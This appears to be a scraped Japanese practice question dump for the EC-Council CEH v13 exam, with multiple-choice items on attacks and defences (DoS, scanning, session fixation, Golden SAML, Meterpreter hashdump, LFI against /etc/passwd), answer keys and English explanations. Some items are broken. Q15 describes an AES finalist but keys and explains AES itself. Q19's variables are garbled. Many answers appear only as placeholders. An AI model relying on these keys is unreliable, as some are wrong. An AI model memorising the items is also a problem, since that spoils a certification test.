ECCouncil.312-50v13-JPN.v2026-09-04.q546

試験コード：	312-50v13-JPN
試験名称：	Certified Ethical Hacker Exam (CEHv13) (312-50v13日本語版)
認証ベンダー：	ECCouncil
無料問題の数：	546
バージョン：	v2026-09-04
ページの閲覧量：	104
問題集の閲覧量：	5577

https://www.jpnshiken.com/shiken/ECCouncil.312-50v13-JPN.v2026-09-04.q546.html

質問: **1**
マルウェア分析用のラボを構築する過程で、サイバーセキュリティアナリストは、シープディップコンピュータを使用して安全な環境を確立するよう指示されました。アナリストは、ベストプラクティスを遵守しながらテストベッドを準備する必要があります。環境を構成する際に、アナリストが避けるべき手順は次のうちどれですか？
A. マルウェア解析中にシステムを本番ネットワークに接続する
B. 仮想マシンに複数のゲストオペレーティングシステムをインストールする
C. INetSimなどのツールを使用してインターネットサービスをシミュレーションする
D. ゲストOSにマルウェア解析ツールをインストールする
正解: **(**正解を表示します**)**

質問: **2**
ある大企業で、断続的なシステムクラッシュや不安定な状態が発生し、Webサービスへのアクセスが制限されています。セキュリティチームは、これがサービス拒否(DoS)攻撃によるものかもしれないと疑っています。ネットワークログにはトラフィックの大幅な増加が記録されており、パケットサイズが規定のサイズ制限を超えていることを示唆するパターンが見られます。以下のDoS攻撃手法のうち、この状況を最もよく表しているのはどれでしょうか？
A. UDPフラッド攻撃
B. パルス波攻撃
C. スマーフの攻撃
D. 死のピン攻撃
正解: **D (**コメントを発表する**)**

質問: **3**
Sentinel Dynamics社のレッドチームスペシャリストであるアルジュン・メータ氏は、同社の境界ネットワークに対して制御された偵察評価を実施している。テスト中、セキュリティ運用チームは、ファイアウォールのログに、同じスキャン活動に関連する複数の異なる発信元システムが表示されていることを確認した。
アルジュンの目的は、彼が実際に使用した試験装置が、他の記録されたデータと容易に区別できないようにすることである。
この場面でアルジュンはどのようなテクニックを使っているのか？

A. ソースルーティング
B. IPアドレスデコイ
C. ソースポート操作
D. IPアドレスの偽装
正解: **(**正解を表示します**)**
The scenario describes a scan where firewall logs show multiple different originating systems tied to the same activity, making it difficult to identify the real source. This aligns with using decoy IP addresses, where additional fake source addresses are included alongside the attacker's real system to obscure attribution in logging and monitoring outputs.

質問: **4**
侵入テスト担当者がデフォルトの認証情報を使用してターゲットシステムへのアクセス権を取得しました。システム上で権限を昇格させるための最も効果的な次のステップは何ですか？
A. サービス拒否(DoS)攻撃を実行してシステムをクラッシュさせる
B. 辞書攻撃を用いてルートパスワードを総当たりで解読する
C. 既知のローカル権限昇格の脆弱性を利用して管理者権限を取得する
D. システムのログインページに対してクロスサイトスクリプティング(XSS)攻撃を実行する
正解: **(**正解を表示します**)**
After gaining initial access, the most effective way to escalate privileges is to exploit a known local privilege escalation vulnerability. This allows the attacker to elevate from a limited account to administrative or root-level access, gaining full control of the system.

質問: **5**
侵入テスト担当者は、ユーザーの活動を監視し、ログイン情報や閲覧履歴などの個人情報を密かに収集するマルウェアを特定します。これはどのような種類のマルウェアでしょうか？
A. ワーム
B. スパイウェア
C. ランサムウェア
D. ルートキット
正解: **(**正解を表示します**)**
Spyware is designed to covertly monitor user activity and collect sensitive information such as credentials and browsing behavior without the user's knowledge.

質問: **6**
ミネソタ州ミネアポリスにあるプライベートエクイティ会社は、BYOD(Bring Your Own Device：私物端末の業務利用)プログラムに基づき、従業員が個人所有のスマートフォンから社内レポートツールにアクセスすることを許可している。定期的なセキュリティ評価の際、コンサルタントは、従業員がロック解除されたスマートフォンを放置すると、同僚がすぐに会社の財務アプリケーションを開き、アプリケーション内で追加の認証手順を踏むことなく顧客の投資記録を閲覧できることを発見した。

オペレーティングシステム自体がデバイスのロック解除にパスコードを必要とするが、一度ロックが解除されると、企業アプリケーションは機密性の高いダッシュボードに直接アクセスできるようになる。
このリスクを直接的に軽減できるBYODセキュリティガイドラインを特定してください。
A. 暗号化メカニズムを使用してデータを保存する
B. デバイスに強力なパスコードを設定し、比較的頻繁に変更する
C. 業務データと個人データを明確に分離する
D. アプリにパスワードを設定して、他のユーザーによるアクセスを制限する
正解: **(**正解を表示します**)**
The issue occurs because once the device is unlocked, the business application provides direct access to sensitive data without requiring additional authentication. Implementing application- level passwords (or re-authentication controls inside the app) ensures that even if the device is unlocked, unauthorized users cannot access corporate data without separate verification.

質問: **7**
ジェーンはCyberSol Inc.でセキュリティ専門家として働いています。彼女は社内ネットワークで送信されるメッセージの認証と完全性を確保する任務を負っています。メッセージを暗号化するために、彼女はネットワーク内のすべてのユーザーが公開鍵のリングを保持するセキュリティモデルを実装しました。このモデルでは、ユーザーは受信者の公開鍵を使用してメッセージを暗号化する必要があり、受信者のみが自身の秘密鍵を使用してメッセージを復号化できます。ジェーンが社内メッセージを保護するために実装したセキュリティモデルは何ですか？
A. ゼロトラストネットワーク
B. トランスポート層セキュリティ(TLS)
C. セキュアソケットレイヤー(SSL)
D. 信頼のウェブ(WOT)
正解: **(**正解を表示します**)**

質問: **8**
オレゴン州ポートランドのデジタルフォレンジックコンサルタントが、企業データ漏洩調査の一環として押収されたiPhoneを調査している。このデバイスには、オペレーティングシステムベンダーが通常許可していないサードパーティ製の拡張機能とシステム変更が含まれている。所有者によると、デバイスの電源をオフにして再起動すると、正常に起動し、通話やメッセージングなどの日常的なタスクは完全に機能する。しかし、カスタム拡張機能とシステムレベルの調整は、デバイスにインストールされている特定の脱獄アプリケーションを手動で実行しない限り機能しない。この再アクティベーションプロセスには外部コンピュータは必要ない。このデバイスに実装されている脱獄技術の種類を特定せよ。
A. セミテザード脱獄
B. 完全脱獄
C. セミアンテザード脱獄
D. テザード脱獄
正解: **C (**コメントを発表する**)**

The device boots normally after restart but requires a jailbreak app to be manually executed on the device itself to reactivate jailbreak features, without needing an external computer. This behavior defines a semi-untethered jailbreak.

質問: **9**
ノースカロライナ州ローリーにある生物医学分析会社で、セキュリティコンサルタントのマーカス・エリソンは、スクリーニングされたサブネット内にある旧式のLinuxホスト上で公開されているサービスを調査していた。利用可能なサービスをマッピングしている際に、彼はそのマシンが複数の内部システムからの時刻同期クエリに応答していることに気づいた。
このサービスがさらなる情報を明らかにする可能性があるかどうかに関心を持ったマーカスは、時刻サービスに対して的を絞ったクエリを実行したところ、内部クライアントのアドレスと、そのサービスとやり取りしているシステム識別子を明らかにする応答を受け取った。この情報により、認証を必要とせずに、内部ネットワーク構造に関する予想外の可視性を得ることができた。
利用可能なオプションの中で、このシナリオで示されている列挙手法はどれですか？
A. NFS列挙
B. NetBIOS列挙
C. SNMP列挙
D. NTP列挙
正解: **(**正解を表示します**)**
The activity involves querying a time synchronization service and receiving responses that include client and system details from systems interacting with it. This aligns with NTP enumeration, where time service responses can leak network information such as connected hosts and internal identifiers.

質問: **10**
NULLスキャンでは何が送信されますか？
A. フラグは設定されていません
B. SYNパケット
C. ACKパケット
D. RSTパケット
正解: **(**正解を表示します**)**
A NULL scan sends a TCP packet with no flags set. It is used to identify open or filtered ports based on how the target responds.

質問: **11**
プロのハッカーであるモリスは、標的組織のネットワーク上のトラフィックを傍受することで、アクティブなシステム、ネットワークサービス、アプリケーション、および脆弱性を特定し、脆弱性スキャンを実施した。彼はまた、現在ネットワークにアクセスしているユーザーのリストも入手した。
モリスが対象組織に対して実施した脆弱性評価の種類は何ですか？
A. 内部評価
B. 外部評価

C. 受動的評価
D. 資格認定評価
正解: **C** (コメントを発表する)

質問: **12**
シアトルのパシフィック・シッピング社で侵入テストを実施中、倫理的ハッカーのミア・チェンは、同社のウェブサーバーを保護する防御システムを評価しました。彼女は、セキュリティシステムが基本的なパケットヘッダーのチェックだけでなく、セッション状態の検証やアプリケーションレベルの分析も行っていることに気づきました。この多層防御アプローチにより、ミアは単純なフラグメンテーション攻撃やトンネリング攻撃でファイアウォールを突破することがより困難になっています。ミアが直面しているファイアウォールは、おそらくどのタイプでしょうか？
A. ステートフルマルチレイヤーインスペクションファイアウォール
B. パケットフィルタリングファイアウォール
C. 回路レベルゲートウェイファイアウォール
D. アプリケーションレベルファイアウォール
正解: **A** (コメントを発表する)
A firewall that inspects packets, tracks session state, and performs some application-level analysis corresponds to a stateful multilayer inspection firewall, combining multiple inspection techniques to improve security.

質問: **13**
倫理的ハッカーであるジェーンは、セキュリティ上の脆弱性を特定するために、標的組織のウェブサーバーとウェブサイトをテストしています。この過程で、彼女はウェブサイト全体とそのコンテンツをローカルドライブにコピーし、サイトのディレクトリ構造、ファイル構造、外部リンク、画像、ウェブページなどの完全なプロファイルを確認しました。この情報は、ジェーンがウェブサイトのディレクトリをマッピングし、貴重な情報を得るのに役立ちます。上記のシナリオでジェーンが用いた攻撃手法は何ですか？
A. ウェブサイトのミラーリング
B. ウェブキャッシュポイズニング
C. セッションハイジャック
D. ウェブサイトの改ざん
正解: (正解を表示します)

質問: **14**
侵入テスト担当者は、HTTPS、セキュアなCookieフラグを使用し、特定のユーザー操作時のみセッションIDを再生成するセキュアなWebアプリケーションを評価しています。セキュリティ警告を発生させることなく正当なユーザーのセッションを乗っ取るには、テスト担当者はどの高度なセッションハイジャック手法を用いるべきでしょうか？
A. 証明書の脆弱性を悪用して中間者攻撃を実行します。
B. セッションIDパターンを分析してセッショントークン予測攻撃を実行します。
C. クロスサイトスクリプティング(XSS)攻撃を実装してセッショントークンを盗みます。

D. ユーザーがログインする前に既知のセッション ID を設定することで、セッション固定攻撃を使用します。
正解: **D** (コメントを発表する)
Session fixation allows the attacker to set a known session ID for the victim before authentication and then reuse it after the user logs in. If the application does not properly regenerate the session ID at login (only during specific actions), the attacker can hijack the authenticated session without breaking HTTPS or secure cookie protections.

質問: **15**
あなたはオレゴン州ポートランドにあるCascade Data社の暗号評価担当者、ジョーダンです。テレメトリログに適用されている保護について調査しています。調査の結果、128ビットブロックで動作し、最大256ビットの鍵を受け入れるアルゴリズムが見つかりました。また、ドキュメントには、このアルゴリズムが従来のDESに代わるAES選定プロセスの最終候補の一つであったと記載されています。使用されている対称暗号化アルゴリズムとして、どのアルゴリズムを特定すべきでしょうか？
A. フグ
B. RC4
C. AES
D. Twofish
正解: **C** (コメントを発表する)
The algorithm operates on 128-bit blocks, supports key sizes up to 256 bits, and was selected as the Advanced Encryption Standard (AES) to replace DES.

質問: **16**
あなたは中規模のeコマース企業のセキュリティアナリストです。最近、同社はセッションハイジャックの被害に繰り返し悩まされています。今後の被害を防ぐため、この問題を軽減するための効果的な対策を提案するよう依頼されました。以下のどの対策を推奨しますか？
A. ネットワークベースの侵入防止システム(IP)を導入し、セッションハイジャックの試みをリアルタイムで検知 防止する。
B. IPパケット全体を暗号化するIPsec VPNソリューションを適用することで、セッションハイジャックの試みをより困難にします。
C. 会社のデータセンターへの不正アクセスを防止するための新しい物理セキュリティポリシーを導入する。
D. セッションハイジャックのリスクと兆候について従業員を教育するためのセキュリティ意識向上プログラムを実施する。
正解: **B** (コメントを発表する)
Encrypting the entire IP packet ensures that session data, including authentication tokens and sequence information, cannot be intercepted or modified by an attacker, effectively preventing session hijacking even if traffic is captured.

質問: **17**
セキュリティアナリストは、組織のネットワークに侵入した可能性のある悪意のあるプログラムを分析する準備をしています。本番環境の安全性と完全性を確保するため、アナリストは分析にシープディップコンピュータを使用することにしました。分析を開始する前に、アナリストはどのような重要な手順を踏むべきでしょうか？
A. 潜在的に悪意のあるプログラムを羊の薬浴用コンピュータ上で実行し、その動作を確認します。
B. 羊の薬浴用コンピュータを組織の内部ネットワークに接続します。
C. 潜在的に悪意のあるプログラムを羊の薬浴用コンピューターにインストールします。
D. 潜在的に悪意のあるプログラムをCD-ROMなどの外部メディアに保存する。
正解: **D (**コメントを発表する**)**

質問: **18**
倫理的なハッカーは、セキュリティアラートを発生させることなく、企業の内部ネットワーク内のユーザーアカウントと共有リソースを列挙する必要があります。ネットワークは、デフォルト設定で動作するWindowsサーバーで構成されています。ハッカーは、この情報を密かに収集するために、どの方法を使用すべきでしょうか？
A. SNMPクエリを利用して、ネットワークデバイスからユーザー情報を抽出します。
B. パケットスニファを導入してネットワークトラフィックをキャプチャおよび分析する
C. DNSゾーン転送を実行して内部ドメインの詳細を取得します
D. nullセッションを悪用してIPC$共有に匿名で接続する
正解: **(**正解を表示します**)**
Exploiting null sessions allows anonymous connections to the IPC$ share on Windows systems with default configurations, enabling covert enumeration of user accounts and shared resources without authentication and with minimal likelihood of triggering security alerts.

質問: **19**
高度な攻撃者は、サービス拒否(DoS)攻撃を実行する目的で、Webサーバーを標的にします。その戦略には、TCP SYN、UDP、ICMPフラッドの独自の組み合わせが含まれます。
毎秒 f」パケット。高度なセキュリティ対策が施されたサーバーは、負荷がかかり始める前に毎秒 h」パケットを処理できます。 f」が h」を超えると、サーバーが過負荷になり、応答しなくなります。攻撃者は、攻撃の検出をより困難にするため、独特なパターンで f」を合成数、 h」を素数として選択します。
'r=2010'と'h'の異なる値を考慮した場合、以下のシナリオのうちどれがサーバーの不具合を引き起こす可能性があるでしょうか？

A. h=1987 (素数): 攻撃者のパケットレートがサーバーの容量を超え、応答不能になる可能性がある。
B. h=1993 (素数): 'r' より小さいにもかかわらず、サーバーの素数容量はかろうじて動作を維持しているが、ダウンするリスクは差し迫っている。
C. h=2003 (素数): サーバーは攻撃者が送信するパケットよりも多くのパケットを処理できるため、動作を継続します。
D. h=1999 (素数): 攻撃者のパケットフラッドにもかかわらず、サーバーはこれらのリクエストを処理し、応答性を維持できます。
正解: **(**正解を表示します**)**

質問: **20**
大規模企業環境における内部侵入テスト中、レッドチームは公開会議室の制限のないネットワークポートへのアクセス権を取得しました。ラップトップを接続すると、テスターは数千個のランダムに生成された偽装MACアドレスを使用してDHCPDISCOVERリクエストを継続的に送信するように構成された自動ツールを展開しました。数分以内に、複数の従業員が、デバイスが内部ネットワークにアクセスできない、または有効なIP構成を取得できないと報告しました。ITチームは、実際に接続されているデバイスはごくわずかであるにもかかわらず、DHCPサーバーのIPリースプールが完全に枯渇していることを確認しました。侵入テスターはどのような種類の攻撃を実行したのでしょうか？
A. 不正なDHCPリレーインジェクション
B. DHCP飢餓
C. DNSキャッシュポイズニング
D. ARPスプーフィング
正解: **(**正解を表示します**)**
By flooding the DHCP server with requests using spoofed MAC addresses, the tester exhausted the available IP lease pool. This prevents legitimate devices from obtaining network configurations, which is characteristic of a DHCP starvation attack.

質問: **21**
デンバーにある金融サービス会社で行われた侵入テストで、倫理的ハッカーのジェイソンは、従業員が不正なDHCPサーバーによってどのように騙される可能性があるかを実演しました。今後このような攻撃を防ぐため、ジェイソンは管理者に対し、信頼できないポートからのDHCP応答を拒否するようにCiscoスイッチを設定する方法を示しました。彼は、より詳細な制御を適用する前に、このグローバル設定を有効にする必要があると説明しました。この防御策を実装するために、ジェイソンはどのスイッチコマンドを推奨すべきでしょうか？
A. Switch(config)# ip dhcp snooping
B. Switch(config)# ip dhcp snooping vlan 10
C. Switch(config-if)# ip dhcp snooping trust
D. Switch(config)# ip arp inspection vlan 10
正解: **(**正解を表示します**)**

Enabling DHCP snooping globally on the switch activates the overall defense mechanism against rogue DHCP servers. This global command must be configured before applying per-VLAN or per- interface trust settings.

質問: **22**
クラウドセキュリティの専門家であるトーマスは、クラウドサービスのセキュリティ評価を実施し、脆弱性を特定しています。彼は、ベアメタルクラウドサーバーに、ハッカーがファームウェアに悪意のあるバックドアを仕込むことを可能にする脆弱性を発見しました。また、サーバーがIaaSとして利用する新しいクライアントや企業に再割り当てされた場合でも、インストールされたバックドアが存続する可能性があることも確認しました。上記のシナリオで説明した脆弱性を悪用することで実行できるクラウド攻撃の種類は何でしょうか？
A. クラウドクリプトジャッキング
B. 雲上攻撃
C. クラウドマン(MITC)攻撃
D. メタデータなりすまし攻撃
正解: **(**正解を表示します**)**

質問: **23**
侵害された財務部門のワークステーションにおける攻撃後の段階で、倫理的ハッカーのアニカは、Meterpreterセッションを使用して機密性の高い認証情報を抽出します。コマンドを実行した後、彼女はLM値とNTLM値を表す英数字の文字列の長いリストを受け取ります。
これらの出力は、オフラインでのパスワード復旧のためにクラッキングリグに転送され、レッドチームが複数のシステムにわたる認証情報窃盗をシミュレートすることを可能にします。これらの結果を生成した可能性が最も高いMeterpreterコマンドはどれでしょうか？
A. スクリーンショット
B. keyscan_start
C. ハッシュダンプ
D. getsystem
正解: **C (**コメントを発表する**)**
The command extracts stored password hashes (LM and NTLM) from the compromised system, which can then be used for offline password cracking. This behavior is consistent with the hashdump command in Meterpreter.

質問: **24**
多国籍企業のサイバーセキュリティチームが、自社のBluetoothデバイス上で異常なネットワークトラフィックを検出しました。これは、Bluetooth対応デバイスから不正な情報にアクセスすることを目的としたブルースナーフィング攻撃であると疑われています。さらなる不正アクセスを防ぐための最も効果的な対策は次のうちどれでしょうか？
A. BluetoothデバイスのPINコードの複雑さと長さを増やす。
B. Bluetoothを介したすべてのデータ送信にネットワークレベルの暗号化を実装する。
C. すべての Bluetooth デバイスで 「検出可能モード」を無効にし、 「検出不可能モード」を有効にします。

D. Bluetooth機器を定期的に最新のファームウェアバージョンにアップデートしてください。
正解: **(**正解を表示します**)**
Disabling discoverable mode prevents Bluetooth devices from being visible to unauthorized users, significantly reducing the attack surface and effectively stopping attackers from initiating unauthorized connections required for Bluesnarfing.

質問: **25**
組織に一元化されたログ管理機能がない場合、どの攻撃フェーズが最も検出が困難でしょうか？
A. 横方向の動き
B. 偵察
C. 配送
D. 初回アクセス
正解: **(**正解を表示します**)**
Lateral movement often generates activity across multiple systems and requires centralized logging and correlation to detect suspicious internal movement between hosts.

質問: **26**
カリフォルニア州サンフランシスコにあるクオンタム・アナリティクス社でサイバーセキュリティ意識向上訓練が行われていた際、倫理ハッキングチームはソーシャルメディアを介した脅威に対する同社の防御力をテストしました。ナディアは、盗用した会社のロゴと公開されている従業員情報を利用し、クオンタム・アナリティクス社のシニア人事マネージャーを装った偽のLinkedInプロフィールを作成しました。ナディアは、データアナリストのプリヤ・シャルマを含む複数の従業員に接続リクエストを送信し、「クオンタム・アナリティクス・イノベーション・ハブ」というプライベートグループへの参加を促しました。グループのページでは、メンバーがプロジェクトの最新情報を独占的に受け取るために、勤務先メールアドレスと部署の役割を共有するよう促されました。
ナディアの演習では、主に企業ネットワークに対するどのようなソーシャル エンジニアリングの脅威をシミュレートしているのでしょうか。
A. 生産性の低下
B. 不本意なデータ漏洩
C. スパムとフィッシング
D. ネットワーク脆弱性の悪用
正解: **(**正解を表示します**)**
The scenario involves tricking employees into voluntarily sharing sensitive organizational information such as work emails and roles through a fake trusted identity. This results in unintended disclosure of internal data, which is characteristic of involuntary data leakage.

質問: **27**
AXFRでは何が許可されていますか？
A. ゾーン転送
B. 暗号化

C. DNSトンネリング
D. 解像度
正解: **(**正解を表示します**)**
AXFR is a DNS protocol operation used for full zone transfers between DNS servers. It allows replication of DNS zone data from a primary server to a secondary server.

質問: **28**
セキュリティレビューを実施中に、評価対象エリアに関する文書化されたセキュリティポリシーが存在しないことが判明しました。以下のうち、最も適切な対応策はどれでしょうか？
A. テスト中にポリシーを作成する
B. 監査を停止する
C. 現在の慣行を特定し評価する
D. 検査レベルを上げる
正解: **(**正解を表示します**)**
When documented security policies do not exist, the appropriate action is to identify and evaluate the organization's current operational and security practices. This allows the assessor to understand how security is actually being managed and identify gaps or weaknesses based on existing procedures.

質問: **29**
サイバーセキュリティ研究チームが、ユーザーのAndroid端末上で不審な動作を検出した。調査の結果、サードパーティのアプリストアからダウンロードされた一見無害なアプリが、WhatsAppやSHAREitといった複数の正規アプリを密かに上書きしていたことが判明した。
これらの偽のレプリカは、オリジナルのアイコンとユーザーインターフェースを維持していますが、侵入的な広告を表示し、バックグラウンドで密かに認証情報と個人データを収集します。攻撃者は、ユーザーが騙されてインストールしたビデオエディターや写真フィルターなどのユーティリティアプリに悪意のあるコードを埋め込むことでこれを実現しました。置き換えはユーザーの同意なしに行われ、悪意のあるコードはコマンド＆コントロール(C&C)サーバーと通信してさらなる指示を実行します。このシナリオで実行されている攻撃の種類は何ですか？
A. エージェント･スミスによる攻撃
B. 円盤型人間による攻撃
C. シムジャッカー攻撃
D. カムフェクティング攻撃
正解: **(**正解を表示します**)**
This describes the Agent Smith attack, where malicious apps silently replace legitimate applications with infected replicas that retain the original appearance while delivering ads, harvesting data, and communicating with command-and-control servers without user consent.

質問: **30**
侵入テスト担当者が、企業のウェブサーバーの外部評価を実施しています。まず、https://www.targetcorp.com/robots.txt にアクセスし、/admin-panel/、/backup/、/confidential_docs/ などの

ディレクトリを参照する複数の Disallow エントリを確認します。テスト担当者がブラウザ経由でこれらのパスに直接アクセスすると、認証によるアクセス制限がなく、サーバー構成や保護されていない認証情報などの機密ファイルにアクセスできてしまいます。このシナリオでは、ウェブサーバー攻撃手法のどの段階が実証されていますか？
A. クロスサイトリクエストフォージェリ(CSRF)攻撃を実行して、ユーザーの操作を操作します。
B. 公開されたインデックス指示を通じて情報を収集します。
C. 機密性の高いデータベースレコードにアクセスするために、悪意のあるSQLクエリを挿入します。
D. ディレクトリトラバーサル脆弱性を悪用して、重要なサーバーファイルにアクセスする。
正解: **(**正解を表示します**)**
Accessing robots.txt to identify disallowed directories and then visiting those exposed paths to discover sensitive files demonstrates information gathering through exposed indexing instructions, a common reconnaissance technique used to identify hidden or unprotected resources on a web server.

質問: **31**
ソーシャルエンジニアリング攻撃をシミュレートした物理的な侵入テストにおいて、攻撃者は既知の外部ベンダーの現場技術者に扮して、標的組織のロビーに侵入する。
偽のIDバッジを携帯し、有名な会社名を引用しながら、攻撃者は自信満々に、定期的なサーバー室のアップグレード作業のために派遣されたと主張する。社内用語を駆使し、OSINT(オープンソースインテリジェンス)で収集した実在の従業員名を挙げることで、緊急性を煽る。受付係は、ベンダー名と説得力のある言葉遣いに見覚えがあり、認証情報を確認することなく入室を許可してしまう。
A. セキュリティチームが使用する物理セキュリティログを信頼する。
B. 第三者の権威に対する認識と信頼。
C. 公開ネットワークやフォーラムに認証情報が漏洩した。
D. ネットワークセグメンテーションの設定ミスにより、不正アクセスが発生しています。
正解: **(**正解を表示します**)**
The attacker exploited perceived authority and familiarity with a trusted third-party vendor. By presenting themselves confidently, using a fake ID, and referencing real employee names, they leveraged social engineering to gain physical access without proper credential verification.

質問: **32**
マサチューセッツ州ボストンのHorizon Legal Servicesで、倫理的ハッカーのダニエル ･プライスは、同社のモバイル事件追跡アプリのセキュリティ評価を任された。テスト中に、彼は機密性の高い事件メモと顧客記録が

暗号化されずにデバイス上にローカルに保存されていることを発見した。標準的なエクスプローラーツールでファイルシステムを閲覧することで、認証なしで機密情報を開くことができた。このアプリには、OWASP Top 10モバイルリスクのうち、どれが最も顕著に現れているか？
A. 不安なコミュニケーション
B. 不十分なプライバシー管理
C. 不適切な認証情報の使用
D. 安全性の低いデータストレージ
正解: **D** (コメントを発表する)
Sensitive data is stored locally on the device without encryption or access controls, allowing unauthorized access. This directly corresponds to insecure data storage, a common mobile security risk.

質問: **33**
ウェブアプリがコード内でAPIリクエストのレートを制限していない場合、どのような攻撃が可能になりますか？
A. XSS
B. データスクレイピング
C. SQLインジェクション
D. CSRF
正解: (正解を表示します)
Without API rate limiting, attackers can automate excessive requests to harvest large amounts of information from the application, enabling data scraping attacks.

質問: **34**
TechSafe Inc.のサイバーセキュリティアナリストとして、あなたはスマートホームシステムのセキュリティ向上プロジェクトに取り組んでいます。このIoT対応システムは、暖房や照明から防犯カメラやドアロックまで、住宅の様々な側面を制御しています。クライアントは、たとえ1つのデバイスが侵害されたとしても、システム全体が安全であることを保証したいと考えています。この目的に最も効果的な戦略は次のうちどれでしょうか？
A. スマートホームシステムのメインコントロールパネルには強力なパスワードを使用することをお勧めします。
B. スマートホームシステムのモバイルアプリに二段階認証を導入することを提案します。
C. スマートホームシステムには、家のメインのWi-Fiネットワークとは別の専用ネットワークを使用することをお勧めします。
D. 潜在的なマルウェアを除去するために、システムのリセットを頻繁に行うことを提案します。
正解: (正解を表示します)

質問: **35**
あなたはテキサス州ダラスにある地域病院のセキュリティ監査を実施しています。ネットワークを監視中に、正体不明の攻撃者が内部Wi-Fiネットワークを流れる暗号化されていないトラフィックを分析し、平文の認証情報を密かに傍受していたことを発見しました。データには一切変更が加えられておらず、この攻撃はあなた

の調査まで検出されませんでした。この状況から、どのような種類の攻撃が行われている可能性が最も高いでしょうか？
A. 受動攻撃
B. 近距離攻撃
C. 分散攻撃
D. 内部犯行
正解: **A (**コメントを発表する**)**
The attacker is observing and capturing network traffic without altering it or interacting with the systems, which is characteristic of a passive attack.

質問: **36**
ヌルセッションとは、NTまたは2000システムへの認証なしの接続(ユーザー名やパスワードを使用しない接続)のことです。
ネットワーク上のヌルセッションをチェックするために、どのTCPポートとUDPポートをフィルタリングする必要がありますか？
A. 139と443
B. 137と139
C. 137と443
D. 139と445
正解: **D (**コメントを発表する**)**
Null sessions are commonly associated with SMB services running over NetBIOS and Microsoft- DS, which use TCP ports 139 and 445 for unauthenticated connections and resource enumeration.

質問: **37**
Linuxシステムでファイルを隠すには、ファイル名を特定の文字で始める必要があります。その文字とは何でしょうか？
A. 感嘆符(！)
B. チルダ(~)
C. アンダースコア(_)
D. ピリオド(.)
正解: **D (**コメントを発表する**)**

質問: **38**
マサチューセッツ州ボストンに本社を置く多国籍ヘルスケアプロバイダーは、従業員が単一のサインオンポータルを使用して複数のクラウドホスト型アプリケーションにアクセスできるように、フェデレーション認証を利用しています。承認されたレッドチーム演習中に、セキュリティコンサルタントが組織のIDインフラストラクチャにアクセスし、内部IDプロバイダーと外部クラウドサービス間の信頼関係で使用される署名マテリアルを抽出しました。このマテリアルを使用して、定数は、ユーザー認証情報とのやり取りや多要素認証のチャレンジをトリガーすることなく、複数のクラウドアプリケーションへの管理者レベルのアクセスを許可する認証

応答を生成します。このアクセスは、クラウドサービスのログ上では正当なものとして記録されています。この動作に最も合致するクラウド攻撃手法はどれですか？
A. クラウドホッパーアタック
B. ゴールデンSAML攻撃
C. Living off the Cloud (LotC) アタック
D. 雲の中の男(MITC)攻撃
正解: **(**正解を表示します**)**
The attacker forges authentication assertions using stolen SAML signing material from the identity provider, allowing unauthorized access to cloud services without needing user credentials or MFA, which is characteristic of a Golden SAML attack.

質問: **39**
侵入テスト担当者が、URLパラメータの入力検証が不適切であるために、Webアプリケーションがローカルファイルインクルージョン(LFI)の脆弱性を抱えていることを発見しました。この脆弱性を悪用するために、テスト担当者はどのようなアプローチを取るべきでしょうか？
A. SQLコマンドをURLパラメータに挿入して、データベースの脆弱性をテストします。
B. URLに悪意のあるスクリプトを挿入してクロスサイトスクリプティング(XSS)攻撃を実行する
C. 管理者ログインページに対して総当たり攻撃を行い、アクセス権を取得する
D. ディレクトリトラバーサルを使用して、/etc/passwd などのサーバー上の機密ファイルにアクセスします。
正解: **(**正解を表示します**)**
Local File Inclusion vulnerabilities are exploited by manipulating input parameters with directory traversal sequences to include and read sensitive local files on the server, such as /etc/passwd.

質問: **40**
グローバル保険会社の社内レッドチームシミュレーションにおいて、上級SOCアナリストのジョーは、境界ファイアウォールを標的とする異常なSYNパケットの急増が、IPトラフィックのなりすましによるものかどうかを検証するよう指示された。組織は、DNSポイズニングと不正なヘッダーの問題は除外している。ジョーは、ホストレベルの認証に頼らずに、パケットの動作をリアルタイムで分析して正当性を判断する必要がある。組織で教えられているベストプラクティスに沿った手法を用いてなりすましトラフィックを特定するには、ジョーはどのようなアプローチを取るべきだろうか？
A. TCPフロー制御方式
B. IPアドレスデコイ
C. ダイレクトTTLプローブ
D. IP識別番号(IPID)の監視
正解: **D (**コメントを発表する**)**
Monitoring the IP Identification (IPID) field helps detect spoofed packets by analyzing sequence patterns. Legitimate hosts typically generate IPID values in a predictable manner, while spoofed traffic often shows irregular or inconsistent patterns, making it a reliable method for identifying forged source IP addresses in real time.

質問: **41**
次のうち、情報の機密性とプライバシーについて言及しているのはどれですか？
A. 入手可能性
B. 誠実さ
C. 機密保持
D. 認証
正解: **(**正解を表示します**)**
Confidentiality ensures that information is protected from unauthorized access and disclosure. It focuses on maintaining the secrecy and privacy of sensitive data.

質問: **42**
ランサムウェアの拡散を最も効果的に阻止できる防御策はどれですか？
A. バックアップ
B. IDS
C. ネットワークセグメンテーション
D. オフ
正解: **(**正解を表示します**)**
Network segmentation limits communication between systems and restricts lateral movement across the network. This significantly disrupts ransomware propagation by preventing infected hosts from easily spreading malware to other systems and critical assets.

質問: **43**
次のプログラムのうち、システムブートセクタと実行可能ファイルの両方に同時に感染するのはどれですか？
A. ステルスウイルス
B. 多形性ウイルス
C. マクロウイルス
D. マルチパートウイルス
正解: **(**正解を表示します**)**
A multipartite virus infects both the boot sector and executable files, allowing it to spread through multiple infection methods simultaneously.

質問: **44**
どの無線セキュリティプロトコルが、個人事前共有鍵(PSK)認証を同時認証(SAE)に置き換え、オフライン辞書攻撃に対する耐性を備えているか？
A. Bluetooth
B. WPA2エンタープライズ
C. WPA3-個人用
D. ZigBee
正解: **(**正解を表示します**)**

質問: **45**
ある組織が、一般的なSQLインジェクション攻撃をブロックするWebアプリケーションファイアウォール(WAF)を導入しました。テスト中に、同等のSQL演算子と代替エンコーディングを使用した場合、アプリケーションは依然として脆弱なままです。これは何を最も明確に示しているでしょうか？
A. 署名ベースの検出は難読化によって回避できます。
B. データベースエンジンは、不正な形式のSQLステートメントを無視します。
C. 暗号化によりWAFによる検査が防止されます。
D. 現代のデータベースでは、SQLインジェクションはもはや存在しません。
正解: **(**正解を表示します**)**
Many WAFs rely partially on pattern matching and signatures. Attackers may evade simplistic detection using alternate syntax, encoding techniques, comments, or logically equivalent operators. Effective protection combines secure coding practices, parameterized queries, positive validation, and layered defenses rather than depending solely on signature detection.

質問: **46**
ボットネットを作成するために、攻撃者は脆弱なマシンをスキャンするいくつかの手法を用いることができます。まず、攻撃者は多数の脆弱なマシンに関する情報を収集し、リストを作成します。
